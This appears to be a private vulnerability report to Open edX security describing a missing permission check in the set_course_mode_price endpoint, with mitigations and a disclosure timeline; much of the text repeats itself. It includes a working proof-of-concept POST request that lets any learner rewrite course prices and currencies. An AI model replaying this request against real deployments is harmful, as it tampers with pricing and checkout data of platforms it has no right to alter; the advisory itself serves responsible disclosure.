The view function set_course_mode_price() at lms/djangoapps/instructor/views/instructor_dashboard.py:430 is decorated only with @login_required and
performs no course-level permission check. Any authenticated user —
including a learner account with zero course roles — can issue a single
POST request to overwrite the honor mode price and currency of any
course on the platform. The companion frontend modal was removed in a
prior cleanup, but the URL route and view remain live, making this an
unguarded orphan endpoint.
Severity
| CVSS 3.1 |
7.5 — High |
| Vector |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L |
| CWE |
CWE-862 — Missing Authorization |
The attack prerequisites are minimal:
- Attacker holds any authenticated session on the target instance. Open registration is the default on most Open edX deployments — creating a learner account is free and takes seconds.
- Attacker knows the target course_id. Course IDs follow the public pattern course-v1:{org}+{course}+{run} and are visible to anyone browsing the course catalog.
- No instructor, staff, admin, or beta-tester role is required. No course enrollment is required.
Affected versions
- Verified vulnerable: edx-platform master branch as of 2026-05-13, deployed via Tutor 18.1.4
- Source review: the same code path exists unchanged in openedx/openedx-platform (the post-rename repository)
- Affected files: lms/djangoapps/instructor/views/instructor_dashboard.py, lms/urls.py
Vulnerable code
The view function at lms/djangoapps/instructor/views/instructor_dashboard.py:430-463 reads:
@ensure_csrf_cookie
@cache_control(no_cache=True, no_store=True, must_revalidate=True)
@require_POST
@login_required
def set_course_mode_price(request, course_id):
try:
course_price = int(request.POST['course_price'])
except ValueError:
return JsonResponse(...)
currency = request.POST['currency']
course_key = CourseKey.from_string(course_id)
course_honor_mode = CourseMode.objects.filter(mode_slug='honor', course_id=course_key)
if not course_honor_mode:
return JsonResponse(...)
CourseModesArchive.objects.create(...)
course_honor_mode.update(min_price=course_price, currency=currency)
return JsonResponse({'message': _("CourseMode price updated successfully")})
There is no has_perm check, no role assertion, no enrollment check, and no membership check against the course team. Compare with instructor_dashboard_2() at line 156 of the same file, which correctly gates access:
if not request.user.has_perm(permissions.VIEW_DASHBOARD, course_key):
raise Http404()
The URL route at lms/urls.py:553 exposes the view publicly:
re_path(
r'^courses/{}/set_course_mode_price'.format(settings.COURSE_ID_PATTERN),
instructor_dashboard_views.set_course_mode_price,
name='set_course_mode_price',
),
Attack chain
When an attacker holding a learner session sends:
POST /courses/course-v1:OpenedX+DemoX+DemoCourse/set_course_mode_price HTTP/1.1
Host: <openedx-host>
Content-Type: application/x-www-form-urlencoded
Cookie: csrftoken=<LEARNER_CSRF>; sessionid=<LEARNER_SESSION>
X-CSRFToken: <LEARNER_CSRF>
course_price=0¤cy=BTC
Execution proceeds as follows:
@login_required passes — the learner is authenticated.
CSRF middleware passes — X-CSRFToken header matches the csrftoken cookie.
CourseKey.from_string(course_id) parses successfully — course_id came from the URL, not from auth context.
CourseMode.objects.filter(mode_slug='honor', course_id=course_key) queries the database with the attacker-supplied course key, not a key derived from the requester's permissions.
CourseModesArchive.objects.create(...) snapshots the pre-modification row.
course_honor_mode.update(min_price=course_price, currency=currency) commits the change.
Response returns 200 OK with {"message": "CourseMode price updated successfully"}.
The trust boundary is broken at step 4: the view treats the URL-supplied course_id as the authorization scope, but never confirms the requester has any relationship to that course.
End-to-end verification
I reproduced the attack against the standard Open edX demo course and a second test course on a local Tutor 18.1.4 deployment:
| Course |
Account role |
Before |
After |
Outcome |
| course-v1:OpenedX+DemoX+DemoCourse |
Learner (no roles) |
100 USD |
777 EUR |
Modified |
| course-v1:OpenedX+DemoX+DemoCourse |
Learner (no roles) |
777 EUR |
0 USD |
Modified |
| course-v1:TestOrg+TEST101+2026 |
Learner (no roles) |
50 USD |
1 BTC |
Modified |
All requests were issued from a Burp Suite-replayed session belonging to learner@local.openedx.io, which has no CourseAccessRole, no CourseEnrollment, no staff bit, and no superuser bit. Modifications were verified directly in the database via Django shell:
>>> from common.djangoapps.course_modes.models import CourseMode
>>> from opaque_keys.edx.keys import CourseKey
>>> CourseMode.objects.get(course_id=CourseKey.from_string(
... "course-v1:OpenedX+DemoX+DemoCourse"), mode_slug="honor")
<CourseMode: honor 0 USD>
Full request/response captures, Django shell transcripts, and the Burp Suite project file are available on request.
Impact
Direct integrity violation across the entire course catalog. A single learner account can rewrite the price and currency of every course with an honor mode on the platform. On instances that integrate with an ecommerce backend, this propagates into the checkout flow and into invoices.
Currency injection. The currency field accepts any arbitrary string — BTC, XYZ, the empty string. Downstream code that assumes currency is a valid ISO 4217 code (payment gateways, reports, analytics pipelines) will misbehave or break.
Information disclosure. Response differs between "course has honor mode" (200 OK) and "course has no honor mode" (400 with explicit message). An attacker can enumerate the honor-mode configuration of every course on the platform without enrollment.
Archive table inflation. Every call creates a CourseModesArchive row. Repeated invocation against a long course ID list is a low-effort, low-detection storage-amplification primitive.
Audit-trail laundering. Because the archive row is created before the update commits, an attacker who modifies the price multiple times leaves a misleading change history that does not name them — CourseModesArchive does not record the actor.
Suggested mitigations
- Add the course-level permission check (the minimal fix, matching every other authenticated instructor endpoint in this file):
@require_POST
@login_required
def set_course_mode_price(request, course_id):
course_key = CourseKey.from_string(course_id)
if not request.user.has_perm(permissions.VIEW_DASHBOARD, course_key):
raise Http404()
# ... rest unchanged
-
Remove the endpoint entirely (recommended). The frontend modal that drove this view (lms/templates/instructor/instructor_dashboard_2/set_course_mode_price_modal.html) is no longer rendered by any Python view, and no JavaScript wires the form. The endpoint is dead UI with a live backend — a textbook orphan-endpoint condition. Deleting the view, the URL route, and the template removes the vulnerability and reduces attack surface.
-
Input validation, independently of the auth fix:
Reject negative course_price.
Validate currency against an allowlist (ISO 4217, or whatever set the ecommerce integration accepts).
Catch KeyError on missing course_price / currency and InvalidKeyError on malformed course_id; current behavior is unhandled 500.
Either (1) or (2) closes the authorization gap. (3) hardens the function against the secondary bugs surfaced by this audit.
Disclosure timeline
Date Event
2026-05-13 Vulnerability discovered during source audit of instructor dashboard views
2026-05-13 End-to-end exploitation verified against Tutor 18.1.4
2026-05-13 Private report sent to security@openedx.org (this email)
2026-08-11 Proposed public disclosure date (T+90 days), or earlier if a fix ships sooner
Credits
Security Researcher: Nguyễn Phương Mai
The view function
set_course_mode_price()atlms/djangoapps/instructor/views/instructor_dashboard.py:430is decorated only with@login_requiredandperforms no course-level permission check. Any authenticated user —
including a learner account with zero course roles — can issue a single
POST request to overwrite the honor mode price and currency of any
course on the platform. The companion frontend modal was removed in a
prior cleanup, but the URL route and view remain live, making this an
unguarded orphan endpoint.
Severity
The attack prerequisites are minimal:
Affected versions
Vulnerable code
The view function at lms/djangoapps/instructor/views/instructor_dashboard.py:430-463 reads:
There is no has_perm check, no role assertion, no enrollment check, and no membership check against the course team. Compare with instructor_dashboard_2() at line 156 of the same file, which correctly gates access:
The URL route at lms/urls.py:553 exposes the view publicly:
Attack chain
When an attacker holding a learner session sends:
Execution proceeds as follows:
The trust boundary is broken at step 4: the view treats the URL-supplied course_id as the authorization scope, but never confirms the requester has any relationship to that course.
End-to-end verification
I reproduced the attack against the standard Open edX demo course and a second test course on a local Tutor 18.1.4 deployment:
All requests were issued from a Burp Suite-replayed session belonging to learner@local.openedx.io, which has no CourseAccessRole, no CourseEnrollment, no staff bit, and no superuser bit. Modifications were verified directly in the database via Django shell:
Full request/response captures, Django shell transcripts, and the Burp Suite project file are available on request.
Impact
Suggested mitigations
Remove the endpoint entirely (recommended). The frontend modal that drove this view (lms/templates/instructor/instructor_dashboard_2/set_course_mode_price_modal.html) is no longer rendered by any Python view, and no JavaScript wires the form. The endpoint is dead UI with a live backend — a textbook orphan-endpoint condition. Deleting the view, the URL route, and the template removes the vulnerability and reduces attack surface.
Input validation, independently of the auth fix:
Reject negative course_price.
Validate currency against an allowlist (ISO 4217, or whatever set the ecommerce integration accepts).
Catch KeyError on missing course_price / currency and InvalidKeyError on malformed course_id; current behavior is unhandled 500.
Either (1) or (2) closes the authorization gap. (3) hardens the function against the secondary bugs surfaced by this audit.
Disclosure timeline
Date Event
2026-05-13 Vulnerability discovered during source audit of instructor dashboard views
2026-05-13 End-to-end exploitation verified against Tutor 18.1.4
2026-05-13 Private report sent to security@openedx.org (this email)
2026-08-11 Proposed public disclosure date (T+90 days), or earlier if a fix ships sooner
Credits
Security Researcher: Nguyễn Phương Mai